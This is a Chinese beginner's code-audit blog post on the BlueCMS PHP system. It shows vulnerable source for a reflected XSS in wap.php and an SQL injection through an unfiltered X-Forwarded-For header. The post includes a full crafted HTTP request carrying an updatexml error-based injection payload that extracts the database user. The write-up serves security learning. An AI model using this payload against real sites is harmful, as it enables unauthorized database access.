当前位置:网站首页>bluecms代码审计入门
bluecms代码审计入门
2022-06-27 01:53:00 【qq_42307546】
bluecms是一个非常简单的cms适合入门学习php代码审计,这里直接用上seay进行自动审计在一个个验证
前台xss,出现在wap.php,通过request方式接受t参数并且直接输出
<?php
$t=$_REQUEST['t'];
//echo $t;
//exit;
?>
<script type="text/javascript">
//如果只跳转首页+启用动态浏览就把wap.php设置为第一个默认文档 如果启用静态浏览就把index.html设置为第一个默认文档 在index.html里加入跳转到手机站的判断代码
var mobileAgent = new Array("iphone", "ipod", "ipad", "android", "mobile", "blackberry", "webos", "incognito", "webmate", "bada", "nokia", "lg", "ucweb", "skyfire");
var browser = navigator.userAgent.toLowerCase();
var isMobile = false;
for (var i=0; i<mobileAgent.length; i++)
{
if (browser.indexOf(mobileAgent[i])!=-1)
{
isMobile = true;
//alert(mobileAgent[i]);
location.href = 'm.php?t=<?php echo $_REQUEST['t'] ?>';
break;
}
else
{
location.href = 'index.php?t=<?php echo $_REQUEST['t'] ?>';//首页模板不要加跳转到手机站的判断代码
}
}
</script>
直接访问wap.php?t=就能直接触发
留言板报错注入这里因为没有对ip头进行过滤就拼接进sql语句中
function add(){
if($GLOBALS['G_DY']['vercode']==1){
if(!$this->syArgs("vercode",1)||md5(strtolower($this->syArgs("vercode",1)))!=$_SESSION['doyo_verify'])message("验证码错误");
}
if(!$this->syArgs('tid'))message("请选择栏目");
$tid=$this->syArgs('tid');
$this->type=syDB('classtype')->find(array('tid'=>$tid),null,'molds,classname,msubmit');
if($this->type['msubmit']!=1){
$this->member->p_r($this->type['msubmit']);
}
$isshow = ($this->my['group']['audit']==1) ? 1 : 0;
$user = ($this->my['id']!=0) ? $this->my['user'] : '游客';
$fmolds = ($this->syArgs('fmolds',1)!='') ? $this->syArgs('fmolds',1) : '';
$title = ($this->syArgs('title',1)!='') ? $this->syArgs('title',1) : $this->type['classname'];
$body = ($this->syArgs('body',1)!='') ? $this->syArgs('body',1) : '';
$row1 = array('tid' => $tid,'fmolds' => $fmolds,'faid' => $this->syArgs('faid'),'title' => $title,'addtime' => time(),'orders' => 0,'isshow' => $isshow,'user' => $user,'body' => $body,'reply'=>'');
$row2=$this->fields_args('message',$tid);
$add = syClass('c_message');
$newv=$add->syVerifier($row1);
echo $newv;
if(false == $newv)
{
$a=$add->create($row1);$row2=array_merge($row2,array('aid' => $a));
syDB('message_field')->create($row2);
if($this->my['id']!=0){
syDB('member_file')->update(array('hand'=>$this->syArgs('hand'),'uid'=>$this->my['id']),array('hand'=>0,'aid'=>$a,'molds' => 'message'));
}else{
syDB('member_file')->update(array('hand'=>$this->syArgs('hand'),'ip'=>GetIP()),array('hand'=>0,'aid'=>$a,'molds' => 'message'));
}
//message('发布成功',$GLOBALS["WWW"]);//bluecms 返回到了首页
message('发布成功');//回到当前页面
}
else
{
message_err($newv);
}
直接构造号数据包
POST /index.php?c=message&a=add&tid=23 HTTP/1.1
Host: www.blue.com:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:101.0) Gecko/20100101 Firefox/101.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
X-Forwarded-For: 8.8.8.8' and (updatexml(1,concat(0x7e,(select user()),0x7e),1))####
Content-Type: application/x-www-form-urlencoded
Content-Length: 62
Origin: http://www.blue.com:8080
Connection: close
Referer: http://www.blue.com:8080/?c=message&a=type&tid=23
Cookie: PHPSESSID=1gobivh9getno63fuj0d67knn5
Upgrade-Insecure-Requests: 1
title=111&u_nianlin=111&download=111&hand=0006197981&body=1111
就到这里了这里的密码使用了两次md5加密,其实还有好多漏洞没有审计出来
边栏推荐
- Ymal文件的增删改查
- Reporting Classes中uvm_report_server的get_severity_count和get_server用法
- Oracle/PLSQL: CharToRowid Function
- 宁愿去996也不要待业在家啦!24岁,失业7个月,比上班更惨的,是没班可上
- UVM中config_db机制的使用方法
- Memcached basics 14
- 你的case真的pass了吗?
- 消费者追捧iPhone,在于它的性价比超越国产手机
- Meituan: data management and pit avoidance strategy summarized after stepping on Thunder for several years
- Continuous delivery blue ocean application
猜你喜欢

Consumers pursue the iPhone because its cost performance exceeds that of domestic mobile phones

Would rather go to 996 than stay at home! 24 years old, unemployed for 7 months, worse than work, no work

热议:月薪1.8万却毫无意义的工作,你干吗?

谷歌开始卷自己,AI架构Pathways加持,推出200亿生成模型

Detailed explanation of ThreadLocal

Don't be brainwashed. This is the truth about the wages of 90% of Chinese people

H5 liquid animation JS special effect code
Reading a book in idea is too much!

p5.js死亡星球

参数估计——《概率论及其数理统计》第七章学习报告(点估计)
随机推荐
达梦数据库安装
Oracle/PLSQL: Ltrim Function
Oracle/PLSQL: NumToDSInterval Function
UVM in reporting classes_ report_ Get of server_ severity_ Count and get_ Server usage
Oracle/PLSQL: Cast Function
CVPR2022 | PointDistiller:面向高效紧凑3D检测的结构化知识蒸馏
memcached基础13
JVM 的指针压缩
Due to the invalidation of the prospectus of bori technology, CICC has stopped providing guidance to it and abandoned the listing on the Hong Kong stock exchange?
NOKOV动作捕捉系统使多场协同无人机自主建造成为可能
C语言--职工信息管理系统设计
memcached基础11
Memcached basics 14
Uninstallation of Dameng database
ThreadLocal详解
Summary of config mechanism and methods in UVM (1)
memcached基础12
WiFi-IoT 鸿蒙开发套件样例开发
二叉树oj题目
I encountered some problems when connecting to the database. How can I solve them?